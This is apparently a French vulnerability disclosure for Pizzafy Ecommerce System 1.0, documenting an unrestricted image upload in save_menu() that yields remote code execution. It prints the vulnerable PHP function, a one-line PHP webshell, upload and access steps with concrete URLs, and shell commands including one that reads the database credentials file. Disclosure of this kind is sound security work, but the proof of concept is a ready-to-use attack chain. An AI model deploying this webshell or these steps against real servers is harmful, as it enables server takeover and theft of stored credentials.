Pizzafy Ecommerce System 1.0 – Téléversement de fichier sans restriction dans save_menu() conduisant à une exécution de code à distance

Détails

Composant affecté

Fichier : Pizzafy/admin/admin_class_novo.php → fonction save_menu()
Paramètre : img (FICHIER)
Chemin de téléversement : Pizzafy/assets/img/

Description

La fonction save_menu() du système de commerce électronique Pizzafy 1.0 gère les téléversements d'images pour les éléments de menu sans effectuer aucune validation du type de fichier. L'application récupère l'extension du fichier à l'aide de pathinfo(), mais ne vérifie ni ne restreint jamais les types de fichiers autorisés avant de déplacer le fichier téléversé vers le répertoire assets/img/ accessible via le web. Un administrateur authentifié peut téléverser un webshell PHP déguisé en image de menu, puis y accéder directement via le navigateur pour obtenir une exécution de code à distance sur le serveur.

Code vulnérable dans admin_class_novo.php :

function save_menu(){
    extract($_POST);
    // ...
    if($_FILES['img']['tmp_name'] != ''){
        $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
        $move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
        $data .= ", img_path = '$fname' ";
    }
    // No extension check, no MIME type check
}

Preuve de concept

Étape 1 — Créer un webshell PHP

Créez un fichier nommé shell_web2.php avec le contenu suivant :

<?php echo shell_exec($_GET['cmd']); ?>

Étape 2 — Téléverser le webshell via la gestion des menus

Connectez-vous en tant qu'administrateur et naviguez vers :

http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu

Remplissez le formulaire de menu avec des valeurs valides et sélectionnez shell_web2.php comme fichier image. Cliquez sur Save.

Le shell est désormais répertorié comme un élément de menu sur la page destinée aux clients.

Étape 3 — Localiser le shell téléversé

Naviguez vers le répertoire assets — le listage des répertoires est activé (CWE-548) :

http://192.168.0.9/pizzafy/Pizzafy/assets/img/

Le shell PHP téléversé est visible dans le listage des répertoires.

Étape 4 — Exécuter des commandes à distance

Accédez directement au shell téléversé et transmettez des commandes système via le paramètre cmd :

http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami

Réponse — commande système exécutée sur le serveur :

desktop-g1i9np3\dell

Commandes supplémentaires

?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php

Impact

Un administrateur authentifié peut :

• Téléverser des fichiers PHP arbitraires sur le serveur web
• Exécuter n'importe quelle commande au niveau du système d'exploitation sur le serveur
• Lire des fichiers sensibles, y compris les identifiants de la base de données
• Établir un reverse shell pour un accès persistant complet
• Compromettre totalement le serveur sous-jacent

Note sur le listage des répertoires (CWE-548)

Le répertoire assets/img/ a le listage des répertoires activé, ce qui permet aux utilisateurs non authentifiés de parcourir tous les fichiers téléversés, y compris le webshell. Cela aggrave la gravité de la vulnérabilité de téléversement de fichier.

Références

• SourceCodester — Pizzafy Ecommerce System
• CWE-434 : Téléversement sans restriction d'un fichier de type dangereux
• CWE-548 : Exposition d'informations via le listage des répertoires.